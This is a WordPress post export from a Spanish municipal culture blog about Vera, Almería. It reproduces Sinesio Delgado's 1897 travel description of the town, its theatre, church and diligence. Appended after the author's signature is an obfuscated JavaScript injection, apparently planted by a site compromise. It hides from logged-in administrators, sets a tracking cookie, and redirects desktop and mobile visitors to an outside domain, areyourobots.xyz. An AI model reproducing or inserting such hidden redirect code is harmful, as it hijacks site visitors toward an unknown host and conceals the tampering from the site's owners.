{"id":2491,"date":"2016-12-22T13:36:26","date_gmt":"2016-12-22T13:36:26","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=2491"},"modified":"2018-01-15T11:29:06","modified_gmt":"2018-01-15T11:29:06","slug":"vera-a-finales-del-siglo-xix","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2016\/12\/22\/vera-a-finales-del-siglo-xix\/","title":{"rendered":"VERA A FINALES DEL SIGLO XIX"},"content":{"rendered":"<p>En septiembre de 2016 Juan L\u00f3pez Soler nos sorprend\u00eda con la publicaci\u00f3n de un art\u00edculo y unas im\u00e1genes descubiertas por \u00e9l y cuya existencia desconoc\u00edamos (Libro de la Feria de Vera). Se trata de una \u00abfotograf\u00eda\u00bb instant\u00e1nea de Vera del a\u00f1o 1897. De la descripci\u00f3n de una Vera pintoresca y con sabor antiguo. Agradecemos a Juan su enriquecedora aportaci\u00f3n.<\/p>\n<p><!--more--><\/p>\n<p>Sinesio Delgado Garc\u00eda, m\u00e9dico, escritor, editor de prensa, empresario teatral, fue colaborador, director y propietario de la publicaci\u00f3n Madrid C\u00f3mico.<br \/>\nRam\u00f3n Cilla P\u00e9rez, dibujante, ilustrador y caricaturista. Destacaron sus trabajos en la revista Madrid C\u00f3mico. Ambos iniciaron a principios del a\u00f1o 1897 un amplio itinerario por toda Espa\u00f1a que dar\u00eda como resultado un curioso libro de viajes.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Llegaron a Hu\u00e9rcal-Overa en ferrocarril, continuando viaje hasta Vera en diligencia a donde llegaron a mediados del mes de Diciembre, permaneciendo veinticuatro horas en Vera, de su estancia en nuestro pueblo, Sinesio Delgado escribi\u00f3:<br \/>\nA medida que nos aproximamos a Vera cambia de condiciones el terreno, hasta venir a parar en una vega pintoresca, adornada por multitud de huertos, cuya frondosa vegetaci\u00f3n se recorta sobre el fondo de una noche clara y serena.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/3.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-2497\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/3.jpg\" alt=\"3\" width=\"387\" height=\"266\" \/><\/a><\/p>\n<p>El trompeteo incesante del conductor indica que cruzamos las calles de la ciudad, estrechas y largas, y despu\u00e9s de un sinf\u00edn de vueltas y revueltas arribamos al parador, donde habr\u00e1n de cambiar de coche los infelices que sigan adelante.<\/p>\n<p>Inmediatamente asalta los estribos una turba de muchachuelos que ofrecen hospedaje.\u00a0\u00a0\u00a0 \u2013Se\u00f1orito- repite uno muchas veces como una carretilla,- \u00bfSe vast\u00e9 a ven\u00ed a la fonda de Garrucha, del Realiyo, que est\u00e1 aqu\u00ed a la vera, y que es el pupilo m\u00e1s barato, y con m\u00e1s aseo, y m\u00e1s curiosid\u00e1 y m\u00e1s too? De buena gana hubiera visitado la fonda del Realiyo, aunque no hubiera sido m\u00e1s que por curiosidad; pero consider\u00e9 preferible quedarme en el parador de la diligencia, puesto que all\u00ed hab\u00edamos de embarcar de nuevo veinticuatro horas despu\u00e9s. Y vive Dios que el tal parador, a tales horas, ofrec\u00eda un aspecto sui generis. All\u00e1 en el fondo de un portal\u00f3n inmenso se ve\u00eda la mesa puesta, bajo un farol pendiente del techo y se adivinaban en la penumbra escaleras y corredores. Por unas y otros nos condujo el gu\u00eda al primer piso y nos hizo entrar en una habitaci\u00f3n grand\u00edsima, alta de techo, con espaciosa alcoba, adornadas ambas con siller\u00eda forrada de yute, consola con floreros, mesa de m\u00e1rmol, portiers y todos los refinamientos de un hotel encantado. \u00a1Quien pensar\u00eda encontrar tantas comodidades en Vera, lejos del mundo, perdida entre las escuetas monta\u00f1as! Por si semejantes gangas fueran pocas, sobre la consola hab\u00eda un prospecto que dec\u00eda as\u00ed:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &lt;&lt;TEATRO CERVANTES.- Debut del primer tenor D\u2026 Fulano de Tal.- La Zarzuela en dos actos Marina.- La bonita zarzuela en un acto El tambor de granaderos.- A las ocho y media&gt;&gt; \u00a1Hay teatro, y de Cervantes, y se hacen la Marina, que requiere ejecutantes con agallas y abundante masa coral, y El tambor de granaderos, con banda de tambores, charanga militar, decoraciones complicadas y trajes vistosos! \u00bfPuede pedir algo m\u00e1s un esp\u00edritu fatigado por los paisajes \u00e1ridos y mon\u00f3tonos? Fuimos a tomar caf\u00e9 en uno establecido al lado del parador, frente a la iglesia, y all\u00ed nos encontramos otro cartel, mitad escrito a mano, anunciando la funci\u00f3n en la misma forma, pero con un aditamento importante, porque a la cabeza, en letras gordas, dec\u00eda: &lt;&lt;Debut del eminente primer tenor D\u2026. Fulano de Tal&gt;&gt;. Sigo ocultando el nombre por no hacer reclamo. \u00a1Eminente! \u00a1Un tenor eminente! \u00bfLes parece a ustedes poca suerte la de descubrir en Vera una eminente l\u00edrica, ahora que van escaseando hasta en el cerebro de Europa?<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/1.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2495\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/1.jpg\" alt=\"1\" width=\"551\" height=\"406\" \/><\/a><\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/4.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-2498\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/4.jpg\" alt=\"4\" width=\"387\" height=\"242\" \/><\/a><\/p>\n<p>Llegamos al coliseo a las ocho y media en punto, tomamos una platea nada menos, para darnos siquiera una vez tono de potentados, y penetramos en el local despu\u00e9s de forcejear bravamente con dos docenas de capitalistas de quince a\u00f1os para abajo que pataleaban furiosamente en la puerta empe\u00f1ados en entrar gratis a ver a los c\u00f3micos. La sala, no mal acondicionada, erase completamente a oscuras y vac\u00eda. El tel\u00f3n estaba levantado y los carpinteros colocaban la decoraci\u00f3n de la playa, amontonando trastos de distintas clases y colores, mientras pasaban y repasaban las coristas con los l\u00edos de ropa que acababan de recoger en la sastrer\u00eda. Luego empez\u00f3 a formalizarse aquello, echaron el tel\u00f3n y aguardamos todos, los de dentro y los de fuera, a que viniera la gente. Los palcos plateas, \u00fanicos que hay, tienen la particularidad de carecer de sillas propias, y es preciso traerlas de casa. A nosotros nos resolvi\u00f3 el conflicto un caballero muy amable que nos las proporcion\u00f3 inmediatamente. Ya est\u00e1bamos para rendirnos al sue\u00f1o cuando vinieron a salvarnos de semejante falta de educaci\u00f3n dos hermosas mujeres, morena la una\u00a0 con cabellos rizados y tentadores hoyuelos en las mejillas, y rubia la otra, simp\u00e1tica y dulce como la miel alcarre\u00f1a, que entraron en el palco de al lado.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/6.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2500\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/6.jpg\" alt=\"6\" width=\"396\" height=\"436\" \/><\/a><\/p>\n<p>Vera, seg\u00fan las cr\u00f3nicas, estuvo edificada antiguamente en un cerro cercano, pero un temblor de tierra la destruy\u00f3 casi por completo y fue levantada de nuevo en el sitio que hoy ocupa. Determinaci\u00f3n acertada, que hizo de la ciudad una de las m\u00e1s alegres y pintorescas de la regi\u00f3n. Fig\u00farense ustedes un extens\u00edsimo valle, en que abundan los \u00e1rboles frutales de todas clases, con infinidad de blancos caser\u00edos con su correspondiente emparrado delante de la fachada, bajo un cielo transparente de un azul pur\u00edsimo, ba\u00f1ado por los rayos de un sol esplendoroso y brillante; fig\u00farense ustedes una populosa poblaci\u00f3n morisca, rodeada de huertos de palmeras, y, naranjos con sus calles de casitas blancas, de un solo piso, siempre llenas de gente, y tendr\u00e1n ustedes aproximada idea de lo que es Vera\u2026 en pleno invierno. \u00a1Ah! Porque esto de la temperatura raya en lo inveros\u00edmil. Asombra ver a las criaturas de pocos a\u00f1os, quince d\u00edas antes de Navidad, corriendo por las calles en camisilla, y da mucho gusto buscar la sombra de los \u00e1rboles cuando se tiene el convencimiento de que unas cuantas leguas m\u00e1s arriba se est\u00e1n helando los gorriones. Nosotros hemos querido hacer a pie una excursi\u00f3n al puerto de Garrucha, distante nueve kil\u00f3metros pr\u00f3ximamente, y hemos tenido que volver atr\u00e1s desde la mitad del camino, sudorosos, jadeantes con verdadera sofocaci\u00f3n irresistible\u2026Desde la especie de terraza que a la salida de la poblaci\u00f3n por la parte de Oriente sirve de paseo se alcanza a divisar un panorama hermoso, cerrado a un lado por las crestas de Sierra Almagrera y limitado al frente por el Mediterr\u00e1neo, donde resalta en la lejan\u00eda la n\u00edtida blancura de las velas, que, como han dicho muchas veces los poetas mar\u00edtimos, parecen gaviotas.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/8.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2502\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/8.jpg\" alt=\"8\" width=\"563\" height=\"405\" \/><\/a><\/p>\n<p>La iglesia de Vera, que tambi\u00e9n carece de tejado, o as\u00ed por lo menos lo parece, tiene por fachada un pared\u00f3n liso, de ladrillo y piedra, con algunos escudos medio borrados, y una puerta como la de cualquier casa particular. La torre no puede ser m\u00e1s sencilla: consta de las cuatro paredes y un tejadillo encima, sin m\u00e1s adornos ni floreos. El interior del templo es de estilo g\u00f3tico primitivo, la sencillez misma. Resulta peque\u00f1o y pobre, pero tiene un no s\u00e9 qu\u00e9 que incita al recogimiento y llega al alma. La Lonja, o mercado cubierto, es un edificio de \u00e9poca remota, restaurado y concluido en la primera mitad del siglo presente.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2499\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/5.jpg\" alt=\"5\" width=\"457\" height=\"439\" \/><\/a><br \/>\nY no hay, que yo sepa, otras construcciones o monumentos que llamen la atenci\u00f3n; pero \u00bfQu\u00e9 falta hacen, si la atrae poderosamente el conjunto?<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/7.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2501\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/7.jpg\" alt=\"7\" width=\"281\" height=\"439\" \/><\/a><br \/>\nMorisca es la ciudad, africanos el cielo y la campi\u00f1a, moras las mujeres con sus alpargatas calzadas en chancleta, a guisa de babuchas, con sus mantones colocados sobre la cabeza, como una capucha, y sueltos despu\u00e9s como un jaique; \u00e1rabe enteramente el modo de sentarse hechas un ovillo en los mercados o en los quicios de las puertas\u2026 \u00bfQu\u00e9 cosa m\u00e1s curiosa puede pedirse ni qu\u00e9 m\u00e1s caracter\u00edstico\u00a0 y m\u00e1s original puede desearse? \u00a1Bonita es de verdad la ciudad de Vera, y atractivos tiene en s\u00ed suficientes para encantar al viajero! Cuando esta provincia, completamente abandonada por el Estado en lo relativo a comunicaciones, quede gracias a la locomotora, en disposici\u00f3n de ser visitada y admirada como se merece, se apreciar\u00e1 esta belleza casi desconocida. Pero\u2026 tal vez entonces, y por ese solo hecho pierda los rasgos t\u00edpicos que constituye su principal encanto. No es comparable a nada, sin ir m\u00e1s lejos, la alegr\u00eda de los emparrados que adornan todas las fincas del valle, apoyados sobre pilares cuadrados, cubierta la techumbre de hojas siempre verdes y formando una especie de soportal bajo el cual se dedican las mujeres a sus quehaceres dom\u00e9sticos.<\/p>\n<p>Pu\u00e9s \u00bfy los lavaderos? Forman animados grupos o lavan dentro de la acequia, recogidas las faldas m\u00e1s arriba de la rodilla.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/9.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2503\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/9.jpg\" alt=\"9\" width=\"626\" height=\"438\" \/><\/a><\/p>\n<p>La salida de Vera en el coche correo de Almer\u00eda es un cuadro digno de h\u00e1biles pinceles. Llega la diligencia de Hu\u00e9rcal y hace parada en una plazoleta a la que corresponde la puerta accesoria del parador en que nos alojamos, con su zagu\u00e1n y su patio con el emparrado indispensable. Los viajeros cambian de coche, el zagal y los mozos descargan apresuradamente la baca del que llega y trasladan los bultos a la del que le sustituye, mientras las mulas de uno y otro entran y salen en las cuadras con alegre tintineo de cascabeles y campanillas, pululan entre ambos los grupos de la gente que espera y despide a los viajeros, y la luna, brillando en un cielo sin mancha, ilumina el animado conjunto.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/8.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2502\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/8.jpg\" alt=\"8\" width=\"563\" height=\"405\" \/><\/a><br \/>\nArranca el tiro de seis poderosas mulas y el pesado armatoste empieza a rodar por las calles m\u00e1s c\u00e9ntricas de Vera, entre toques de trompeta, para recoger en la administraci\u00f3n la valija del correo.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2496\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/12\/2.jpg\" alt=\"2\" width=\"742\" height=\"346\" \/><\/a><\/p>\n<p style=\"text-align: right\">VERA AGOSTO DE\u00a0 2016.<br \/>\nJUAN L\u00d3PEZ SOLER.<\/p>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En septiembre de 2016 Juan L\u00f3pez Soler nos sorprend\u00eda con la publicaci\u00f3n de un art\u00edculo y unas im\u00e1genes descubiertas por \u00e9l y cuya existencia desconoc\u00edamos (Libro de la Feria de Vera). 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